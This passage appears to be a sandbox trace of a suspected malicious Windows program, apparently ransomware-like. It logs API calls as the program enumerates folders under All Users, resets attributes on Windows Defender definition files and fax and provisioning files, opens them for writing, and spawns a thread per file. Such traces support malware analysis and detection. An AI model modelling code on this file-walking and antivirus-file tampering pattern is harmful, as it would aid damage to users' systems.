Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm", dwFileAttributes=0x20) returned 0 [0084.330] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.330] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm", dwFileAttributes=0x20) returned 0 [0084.330] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34281f0) returned 1 [0084.330] RtlExitUserThread (Status=0x0) Thread: id = 1225 os_tid = 0x1188 [0084.331] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm")) returned 0x20 [0084.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm", dwFileAttributes=0x20) returned 0 [0084.332] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm", dwFileAttributes=0x20) returned 0 [0084.332] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428d70) returned 1 [0084.333] RtlExitUserThread (Status=0x0) Thread: id = 1226 os_tid = 0x1190 [0084.332] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm")) returned 0x20 [0084.333] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm", dwFileAttributes=0x20) returned 0 [0084.333] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.334] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm", dwFileAttributes=0x20) returned 0 [0084.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427ac0) returned 1 [0084.334] RtlExitUserThread (Status=0x0) Thread: id = 1227 os_tid = 0x1070 [0084.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e29f0 [0084.335] wcscpy (in: _Dest=0x33e29f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0084.335] wcscat (in: _Dest=0x33e29f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\" [0084.335] wcscat (in: _Dest=0x33e29f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*" [0084.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aad40 [0084.335] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e03d8 [0086.544] wcscmp (_String1=".", _String2=".") returned 0 [0086.544] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2b0d815, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.544] wcscmp (_String1="..", _String2=".") returned 1 [0086.544] wcscmp (_String1="..", _String2="..") returned 0 [0086.544] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af00150, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1 [0086.544] wcscmp (_String1="WelcomeFax.tif", _String2=".") returned 1 [0086.545] wcscmp (_String1="WelcomeFax.tif", _String2="..") returned 1 [0086.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6bb8 [0086.545] wcscpy (in: _Dest=0x33e6bb8, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0086.545] wcscat (in: _Dest=0x33e6bb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\" [0086.545] wcscat (in: _Dest=0x33e6bb8, _Source="WelcomeFax.tif" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" [0087.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34 [0087.938] FindNextFileW (in: hFindFile=0x33e03d8, lpFindFileData=0x34aad40 | out: lpFindFileData=0x34aad40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af00150, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0 [0087.938] FindClose (in: hFindFile=0x33e03d8 | out: hFindFile=0x33e03d8) returned 1 [0087.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aad40) returned 1 [0087.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e29f0) returned 1 [0087.938] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2f00) returned 1 [0087.938] RtlExitUserThread (Status=0x0) Thread: id = 1228 os_tid = 0x1074 [0084.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x348ba10 [0084.335] wcscpy (in: _Dest=0x348ba10, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0084.336] wcscat (in: _Dest=0x348ba10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0084.336] wcscat (in: _Dest=0x348ba10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*" [0084.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aafa8 [0084.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0418 [0086.545] wcscmp (_String1=".", _String2=".") returned 0 [0086.545] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd313219, ftCreationTime.dwHighDateTime=0x1d112f1, ftLastAccessTime.dwLowDateTime=0xc2b0a072, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbd313219, ftLastWriteTime.dwHighDateTime=0x1d112f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.545] wcscmp (_String1="..", _String2=".") returned 1 [0086.545] wcscmp (_String1="..", _String2="..") returned 0 [0086.545] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1 [0086.545] wcscmp (_String1="confident.cov", _String2=".") returned 1 [0086.545] wcscmp (_String1="confident.cov", _String2="..") returned 1 [0086.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33f0f90 [0086.545] wcscpy (in: _Dest=0x33f0f90, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0086.545] wcscat (in: _Dest=0x33f0f90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0086.545] wcscat (in: _Dest=0x33f0f90, _Source="confident.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov" [0087.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f0f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38 [0087.932] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1 [0087.932] wcscmp (_String1="fyi.cov", _String2=".") returned 1 [0087.932] wcscmp (_String1="fyi.cov", _String2="..") returned 1 [0087.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6870 [0087.932] wcscpy (in: _Dest=0x33e6870, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0087.932] wcscat (in: _Dest=0x33e6870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0087.933] wcscat (in: _Dest=0x33e6870, _Source="fyi.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov" [0087.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e6870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54 [0087.933] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1 [0087.933] wcscmp (_String1="generic.cov", _String2=".") returned 1 [0087.933] wcscmp (_String1="generic.cov", _String2="..") returned 1 [0087.933] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f1040 [0087.933] wcscpy (in: _Dest=0x33f1040, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0087.933] wcscat (in: _Dest=0x33f1040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0087.933] wcscat (in: _Dest=0x33f1040, _Source="generic.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov" [0087.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58 [0087.934] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1 [0087.934] wcscmp (_String1="urgent.cov", _String2=".") returned 1 [0087.934] wcscmp (_String1="urgent.cov", _String2="..") returned 1 [0087.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f1460 [0087.934] wcscpy (in: _Dest=0x33f1460, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0087.934] wcscat (in: _Dest=0x33f1460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0087.934] wcscat (in: _Dest=0x33f1460, _Source="urgent.cov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov" [0087.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f1460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0087.935] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x34aafa8 | out: lpFindFileData=0x34aafa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af4c607, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x43ba1000, ftLastWriteTime.dwHighDateTime=0x1d283cc, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0 [0087.935] FindClose (in: hFindFile=0x33e0418 | out: hFindFile=0x33e0418) returned 1 [0087.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aafa8) returned 1 [0087.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ba10) returned 1 [0087.935] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bed0) returned 1 [0087.935] RtlExitUserThread (Status=0x0) Thread: id = 1229 os_tid = 0x107c [0084.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486c48 [0084.336] wcscpy (in: _Dest=0x3486c48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.336] wcscat (in: _Dest=0x3486c48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.336] wcscat (in: _Dest=0x3486c48, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*" [0084.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34ab210 [0084.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\*", lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0498 [0084.338] wcscmp (_String1=".", _String2=".") returned 0 [0084.338] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.338] wcscmp (_String1="..", _String2=".") returned 1 [0084.338] wcscmp (_String1="..", _String2="..") returned 0 [0084.338] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c4e960, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c4e960, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c4e960, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x93d, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0084.338] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0084.338] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0084.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482908 [0084.338] wcscpy (in: _Dest=0x3482908, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.338] wcscat (in: _Dest=0x3482908, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.338] wcscat (in: _Dest=0x3482908, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0084.749] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c74bbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c74bbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c74bbc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1018, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0084.749] wcscmp (_String1="1__Power_Policy.provxml", _String2=".") returned 1 [0084.749] wcscmp (_String1="1__Power_Policy.provxml", _String2="..") returned 1 [0084.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483698 [0084.750] wcscpy (in: _Dest=0x3483698, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime" [0084.750] wcscat (in: _Dest=0x3483698, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0084.750] wcscat (in: _Dest=0x3483698, _Source="1__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" [0084.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3483698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0084.750] FindNextFileW (in: hFindFile=0x33e0498, lpFindFileData=0x34ab210 | out: lpFindFileData=0x34ab210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55c9ae14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55c9ae14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55c9ae14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="2__Power_Policy.provxml", cAlternateFileName="2__POW~1.PRO")) returned 1 [0084.750] wcscmp (_String1="2__Power_Policy.provxml", _String2=".") 